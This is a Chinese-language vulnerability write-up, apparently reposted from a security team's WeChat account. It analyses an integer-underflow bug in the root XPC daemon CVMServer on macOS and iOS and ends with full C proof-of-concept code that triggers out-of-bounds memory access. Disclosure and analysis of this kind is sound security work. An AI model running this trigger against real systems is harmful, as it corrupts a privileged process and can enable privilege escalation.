概述
CVMServer是一个XPC服务和系统守护进程,它以root权限运行以处理XPC请求。XPC是为进程间的底层通信而设计的,客户端进程可以通过专用API向服务器发送XPC请求。下图为CVMServer的switch case逻辑示例:
图1. CVMServer下发各种XPC消息的switch case逻辑
漏洞详情
该漏洞存在于XPC请求消息处理程序中,更具体地说,存在于使用OpenCL源代码构建元素的请求(case msgType=18)的处理中。
图2. 存在漏洞的Case 18 logic
上图展示了存在漏洞的逻辑。如图所示,item[3*count]是映射长度,由xpc_shmem_map返回(见第134 行)。同时,beginOffset可以从XPC请求消息中控制(见第135行)。如果item[3*count]的值小于beginOffset的值,那么按照逻辑,remainLen的值将是一个整数溢出。这将导致第144行的检查被绕过。因此,可以通过将item[count]=accessDataLen指定为一个大的整数来触发该漏洞(从第136行到第137 行),成功利用后将导致内存越界访问和权限提升。
漏洞利用
图1中还显示了在case 4中设置了context->attached标志。这意味着要发送请求(case msgType=18),必须附加CVMS服务并发送XPC请求msgType=4。反过来,要将XPC请求发送到服务,必须先建立连接。通过搜索_xpc_connection_create_mach_service API调用的交叉引用,我们能够获得服务名称为“com.apple.cvmsServ”,进行建立连接。
这样做之后,我们便附加了服务,并通过调试获取了参数。
在附加CVMS服务并发送XPC请求msgType=4后,我们就可以发送存在漏洞的请求(case msgType=18)。为了更好地理解该漏洞的触发过程,我们需要先了解图2所示的XPC消息结构。
在图2中的第97行到第105行中,我们可以看到request[“source”]是一个XPC数组,其中存储了源代码数据列表。在第108行,为每个数组分配了32个字节(4个指针大小)。
第111行到第156行的do-while循环用每个数据源值填充数组。数据源值的类型是 xpc_type_data或xpc_type_shmem。这里的逻辑说明地址范围[accessBeginPointer, accessBeginPointer+accessDataLength)必须是[mappedBaseAddress,mappedBaseAddress+mappedLength)范围的子集。因此,该逻辑将检查accessDataLength的值是否小于mappingLength减去beginOffset值。必须绕过该检查才能触发漏洞。幸运的是,所有这些值都是由XPC请求消息控制的。
在第138行,会检查beginOffset值是否小于一页或 4K。但是,从xpc_shmem_map 返回的mappingLength始终被设置为4K大小。这使得该漏洞似乎很被利用。但是通过检查xpc_shmem_map函数的实现,发现了一个可利用点,即在xpc_xshmem对象的字段偏移量为0x20处,会将mappingLength修补成任何较小的值,在此次案例中该值为1。
使用这种方法,我们能够通过整数溢出绕过第144 行的检查,然后通过指定的大数值触发内存访问不足。完整的PoC代码如下文所示。
PoC概念验证
int64_t cvms_connection_create(xpc_connection_t *conn) {
int64_t error = 528;
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cvmsServ", NULL, 2);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});
xpc_connection_resume(client);
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 1);
xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req);
printf("response: %sn", xpc_copy_description(res));
if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {
error = xpc_dictionary_get_int64(res, "error");
if (!error) {
*conn = client;
}
}
return error;
}
int64_t cvms_service_attach(xpc_connection_t conn) {
int64_t error = 528;
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 4);
xpc_dictionary_set_string(req, "framework_name", "OpenCL");
xpc_dictionary_set_string(req, "bitcode_name", "");
xpc_dictionary_set_string(req, "plugin_name", "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib");
struct AttachArgs {
int64_t a1;
int64_t a2;
} args = {0, 0x0000211000000009};//M1 Mac use 0x000021100000000a
xpc_dictionary_set_data(req, "args", &args, sizeof(args));
xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);
printf("response: %sn", xpc_copy_description(res));
if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {
error = xpc_dictionary_get_int64(res, "error");
if (!error) {
int64_t pool_index = xpc_dictionary_get_int64(res, "pool_index");
printf("pool_index: %lldn", pool_index);
}
}
return error;
}
int64_t cvms_element_build(xpc_connection_t conn) {
int64_t error = 0;
xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64 (req, "message", 18);
xpc_dictionary_set_uint64(req, "options", 0);
xpc_object_t xarr = xpc_array_create_empty();
size_t size = 0x4000;
void *shared_buf = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, 0, 0);
memset(shared_buf, 'C', size);
xpc_object_t xshmem = xpc_shmem_create(shared_buf, size);
uint64_t *p = (uint64_t *)(__bridge void *)xshmem;
p[4] = 1; // patch the mapped size to a small one
xpc_array_append_value(xarr, xshmem);
xpc_array_append_value(xarr, xpc_uint64_create(2)); // begin offset > 1, 1-2 will overflow
xpc_array_append_value(xarr, xpc_uint64_create(0x8000));// data length > mapped size, lead to the OOB Access
xpc_dictionary_set_value(req, "source", xpc_array_create(&xarr, 1));
xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);
printf("response: %sn", xpc_copy_description(res));
return error;
}
int64_t poc() {
int64_t error;
xpc_connection_t client;
error = cvms_connection_create(&client);
if (error) {
printf("cvms_connection_create error: %lldn", error);
return error;
}
error = cvms_service_attach(client);
if (error) {
printf("cvms_service_attach error: %lldn", error);
return error;
}
error = cvms_element_build(client);
if (error) {
printf("cvms_element_build_from_source error: %lldn", error);
return error;
}
return 0;
}
int main(int argc, const char * argv[]) {
poc();
return 0;
}
END
本文始发于微信公众号(SecTr安全团队):macOS和iOS中的CVMServer漏洞详情及PoC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论